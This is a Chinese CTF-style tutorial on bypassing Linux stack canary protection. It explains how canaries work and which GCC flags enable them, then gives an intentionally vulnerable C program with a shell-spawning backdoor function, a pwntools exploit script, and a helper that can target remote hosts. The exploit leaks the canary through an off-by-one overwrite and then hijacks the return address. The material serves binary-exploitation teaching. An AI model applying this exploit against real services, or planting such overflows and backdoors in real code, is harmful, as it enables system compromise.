Canary绕过

Canary介绍

本节摘自CTF WIki,感谢CTF Wiki项目

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

在Linux中,Canary是一种栈溢出的防护机制,通常栈溢出都是输入超长的内容越过栈上的变量从而覆盖栈上返回地址的值,开启Canary后,在进入函数时会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>

在 GCC 中使用 Canary

可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

绕过Canary保护示例

这里有一份存在Canary绕过漏洞的代码,和另一篇文章 ret2text的原理及利用 的代码类似,但是编译时开启了Canary保护,无法直接利用:

// canary.c
// gcc canary.c -o canary-pie -fstack-protector-all -no-pie -Og -Wall
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor() {
    printf("Now entering backdoor...\n");
    execve("/bin/sh", 0, 0);
    printf("Leaving backdoor...\n");
}

void menu() {
    printf("1. write\n");
    printf("2. read\n");
    printf("3. exit\n");
    printf("your choice: ");
}
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    int choice;
    char buffer[16];
    for (;;) {
        menu();
        scanf("%d", &choice);
        if (choice == 1) {
            printf("input something: ");
            read(0, buffer, 0x64);
        } else if (choice == 2) {
            printf("your input:  %s\n", buffer);
        } else if (choice == 3) {
            printf("exit\n");
            return 0;
        } else {
            printf("Wrong input!!!!\n");
        }
    }
}

利用思路

Canary有一个特征:最低位为’\0’,这样做能够防止被print函数直接输出。上面代码的逻辑是不断循环,读取用户输入并输出,我们可以通过scanf溢出buffer,仅覆盖canary的最低一位,然后再输出buffer,这样就能够拿到Canary的值。第二次覆盖时用原来的值覆盖Canary(最低位为’\0’),再覆盖返回地址即可。

利用代码

#!/usr/bin/python
# -*- coding: UTF-8 -*-

from base import * # 我提取出了打pwn时的一些通用环节,放在了base.py里边

ru(b'your choice: ')
sl(b'1')
sl(b'a' * 0x17 + b'b') # 覆盖Canary的最低位
ru(b'your choice: ')
sl(b'2')			   # 打印buffer
ru(b'b\n')
canary = u64(rc(7).rjust(8, b'\x00')) # 得到canary的值
info('canary: ', canary)
backdoor = elf.symbols['backdoor']    # 后门函数的地址
sl(b'1')			   # 第二次写入,按原值覆盖canary,再加上返回地址
payload = b'a' * 0x18 + p64(canary) + b'b' * 8 + p64(backdoor)
sl(payload)
sl(b'3')
ia()

base.py:

# -*- coding: UTF-8 -*-
from pwn import *
from sys import exit
import argparse

# setup pwntools context
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'

# setup argparse
parser = argparse.ArgumentParser()

group = parser.add_mutually_exclusive_group()
group.add_argument("-o", help="path to an elf file.",  metavar="<path to file>")
group.add_argument("-r", help="address of an remote machine.", metavar="<ip:port>")
parser.add_argument("-v", help="debug log level, default level is error.", action="store_true")
parser.add_argument("-g", help="start gdb to debug", action="store_true")
parser.add_argument("-b", help="breakpoint. e.g. : *main+123 | 0x40115d", metavar="<breakpoint>")
parser.add_argument("-l", help="specify which libc to preload", metavar="<path to file>")

# resolve args
args = parser.parse_args()
verbose_enbale = args.v
gdb_enable = args.g
breakpoint = args.b
elf_name = args.o
remote_addr = args.r
libc = args.l

# error
if not elf_name and not remote_addr:
    parser.print_usage()
    exit()

# verbose loglevel
if verbose_enbale == True:
    context.log_level = 'debug'

# if breakpoint not set, set it to main
if not breakpoint:
    breakpoint = 'main'
# if libc not set, set env to empty
if not libc:
    env = {}
else:
    env = {'LD_PRELOAD': libc}

# local
if elf_name:
    elf = ELF(elf_name)
    if gdb_enable == True:
        p = gdb.debug(elf.path, gdbscript="b " + breakpoint, env=env)
    else:
        p = process(elf.path, env=env)
# remote
else:
    remote_addr = remote_addr.split(':')
    p = remote(remote_addr[0], remote_addr[1])


def sd(delim, data): return p.send(delim, data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def rc(num): return p.recv(num)
def rl(): return p.recvline()
def ru(delims): return p.recvuntil(delims)
def uu32(data): return u32(data.ljust(4, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def info(tag, addr): return log.info(tag + " -> " + hex(addr))
def ia(): return p.interactive()

有时候不知道为什么会失败,多试几次即可

image-20220929171538798